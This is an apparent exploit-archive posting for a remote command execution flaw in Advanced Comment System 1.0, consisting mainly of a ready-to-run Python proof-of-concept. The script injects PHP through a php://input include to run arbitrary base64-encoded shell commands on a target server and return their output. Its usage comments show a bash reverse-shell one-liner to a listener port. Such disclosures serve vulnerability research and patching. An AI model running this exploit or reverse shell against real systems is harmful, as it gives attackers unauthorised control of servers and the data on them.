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Advanced Comment System 1.0 Remote Command Execution

Advanced Comment System 1.0 Remote Command Execution
Posted Dec 1, 2021
Authored by Nicole Daniella Murillo Mejias

Advanced Comment System version 1.0 suffers from a remote command execution vulnerability.

tags | exploit, remote
SHA-256 | c0a3ae4e6c5fc614a3b3493700cabba833cdc0542577e6cbd73ffbd226a7b2b9

Advanced Comment System 1.0 Remote Command Execution

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# Exploit Title: Advanced Comment System 1.0 - Remote Command Execution (RCE)
# Date: November 30, 2021
# Exploit Author: Nicole Daniella Murillo Mejias
# Version: Advanced Comment System 1.0
# Tested on: Linux

#!/usr/bin/env python3

# DESCRIPTION:
# Commands are Base64 encoded and sent via POST requests to the vulnerable application, the
# response is filtered by the randomly generated alphanumeric string and only command output
# is displayed.
#
# USAGE:
# Execute the script and pass the command to execute as arguments, they can be quoted or unquoted
# If any special characters are used, they should be quoted with single quotes.
#
# Example:
#
# python3 acspoc.py uname -a
# python3 acspoc.py 'bash -i >& /dev/tcp/127.0.0.1/4444 0>&1'

import sys
import base64
import requests
import random

def generate_string(size):
str = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
return ''.join(random.choice(str) for i in range(size))

def exploit(cmd):

# TODO: Change the URL to the target host
url = 'http://127.0.0.1/advanced_comment_system/index.php'

headers = {'Content-Type': 'application/x-www-form-urlencoded'}

encoded_cmd = base64.b64encode(cmd)

delimiter = generate_string(6).encode()

body = b'ACS_path=php://input%00&cbcmd='
body += encoded_cmd
body += b'&<?php echo " '
body += delimiter
body += b': ".shell_exec(base64_decode($_REQUEST["cbcmd"])); die ?>'

try:
result = requests.post(url=url, headers=headers, data=body)
except KeyboardInterrupt:
print("Keyboard interrupt detected.")
sys.exit()

if f'{delimiter.decode()}: ' in result.text:
position = result.text.find(f"{delimiter.decode()}:") + len(f"{delimiter.decode()}: ")

if len(result.text[position:]) > 0:
print(result.text[position:])
else:
print(f"No output from command '{cmd.decode()}'")
print(f"Response size from target host: {len(result.text)} bytes")

if __name__ == "__main__":
exploit(' '.join(sys.argv[1:]).encode())

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